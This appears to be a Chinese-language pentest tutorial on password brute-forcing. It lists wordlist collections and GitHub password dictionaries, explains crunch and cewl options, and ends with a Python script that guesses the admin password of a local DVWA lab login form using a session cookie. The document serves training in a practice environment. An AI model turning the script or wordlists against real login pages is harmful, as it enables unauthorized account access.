密码暴力破解漏洞(kali crunch)


.
├── Injections
│   ├── All_attack.txt
│   ├── SQL.txt
│   ├── Traversal.txt
│   ├── XML.txt
│   ├── XSS.txt
│   └── bad_chars.txt
├── general
│   ├── admin-panels.txt
│   ├── big.txt
│   ├── catala.txt
│   ├── common.txt
│   ├── euskera.txt
│   ├── extensions_common.txt
│   ├── http_methods.txt
│   ├── medium.txt
│   ├── megabeast.txt
│   ├── mutations_common.txt
│   ├── spanish.txt
│   └── test.txt
├── others
│   ├── common_pass.txt
│   └── names.txt
├── stress
│   ├── alphanum_case.txt
│   ├── alphanum_case_extra.txt
│   ├── char.txt
│   ├── doble_uri_hex.txt
│   ├── test_ext.txt
│   └── uri_hex.txt
├── vulns
│   ├── apache.txt
│   ├── cgis.txt
│   ├── coldfusion.txt
│   ├── dirTraversal-nix.txt
│   ├── dirTraversal-win.txt
│   ├── dirTraversal.txt
│   ├── domino.txt
│   ├── fatwire.txt
│   ├── fatwire_pagenames.txt
│   ├── frontpage.txt
│   ├── iis.txt
│   ├── iplanet.txt
│   ├── jrun.txt
│   ├── netware.txt
│   ├── oracle9i.txt
│   ├── sharepoint.txt
│   ├── sql_inj.txt
│   ├── sunas.txt
│   ├── tests.txt
│   ├── tomcat.txt
│   ├── vignette.txt
│   ├── weblogic.txt
│   └── websphere.txt
└── webservices
    ├── ws-dirs.txt
    └── ws-files.txt

5.2 github字典

GitHub - TgeaUs/Weak-password: 字典大全 dictionary

GitHub - fuzz-security/SuperWordlist: 基于实战沉淀下的各种弱口令字典

GitHub - k8gege/PasswordDic: 2011-2019年Top100弱口令密码字典 Top1000密码字典服务器SSH/VPS密码字典后台管理密码字典数据库密码字典子域名字典

https://github.com/xjrelc/Blasting_dictionary
https://github.com/TgeaUs/Weak-password
https://github.com/fuzz-security/SuperWordlist
https://github.com/k8gege/PasswordDic
https://github.com/TheKingOfDuck/fuzzDicts
https://github.com/Ifonly-go2019/FuzzDict
https://github.com/ppbibo/PentesterSpecialDict
https://github.com/huyuanzhi2/password_brute_dictionary
https://weakpass.com/download

其他的建议在github搜索：字典、dict、wordlist之类的关键词

注意使用场合：

比如Web网站密码字典、WiFi密码字典、操作系统用户密码字典、数据库密码字典……

6.专用字典

6.1 指定格式字典

比如生日、手机号、QQ号

crunch -h

6.2 社工字典

cupp、ccupp

6.3 文章内容字典

cewl https://sqlmap.org -w dict.txt

kali 工具crunch

0x00 安装

crunch -h

0x01 基础语法

Usage

crunch [] [options]

min-len和max-len是必选项（-p）

Content

1.Lalpha

abcdefghijklmnopqrstuvwxyz

2.Ualpha

ABCDEFGHIJKLMNOPQRSTUVWXYZ

3. Numeric

0123456789

4.Speical

!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/

option

1.-b 指定文件输出的大小，避免字典文件过大

2.-c 指定文件输出的行数，即包含密码的个数

3.-d 限制相同元素出现的次数-

4. -e 定义停止字符，即到该字符串就停止生成

5. -f 调用库文件 /usr/share/crunch/charset.lst

6. -i 改变输出格式，即aaa,aab -> aaa,baa

7. -l 通常与-t联合使用，表明该字符为实义字符

8. -m 用-p替代

9. -o 将密码保存到指定文件

10. -p

字符串或者-p 单词1 单词2 ...以排列组合的方式
来生成字典
生成不重复的字符串
必须放在最后
不能和-s一起使用
会忽略最小长度和最大长度

11. -q 读取密码文件，即读取pass.txt

12. -r 告诉crunch继续从它离开的地方恢复生产密码字典

13. -s 指定一个开始的字符，即从自己定义的密码xxxx开始

14. -t 指定密码输出的格式

15. -u 禁止打印百分比（必须为最后一个选项）

16. -z 压缩生成的字典文件，支持gzip,bzip2,lzma,7z

7.Dvwa爆破

7.1 python

思路

从字典读取值，生成密码


pwds = open("password.txt")
for pwd in pwds:    
     print(pwd)
pwds.close()

HTTP连接到需要暴破的地址(URL F12看网络连接即可获得）


 
import requests
# 如果第一个密码就提示成功，是 PHPSESSID 没有替换的问题
pwds = open("password.txt")
for pwd in pwds:
    url = "http://localhost/dvwa/vulnerabilities/brute/"
    # PHPSESSID务必替换为登录以后的PHPSESSID
    resp = requests.get(url = url, params = {"username":"admin", "password":pwd.strip(), "Login":"Login"}, headers = {"Cookie":"security=low; PHPSESSID=himu84h1ia6vsvklt76c9juhqd"})
    #print(resp.text)
    if 'Username and/or password incorrect.' in resp.text:
        print('破解失败：'+pwd, end='')
    else:
        print('破解成功：'+pwd, end='')
        break;
pwds.close()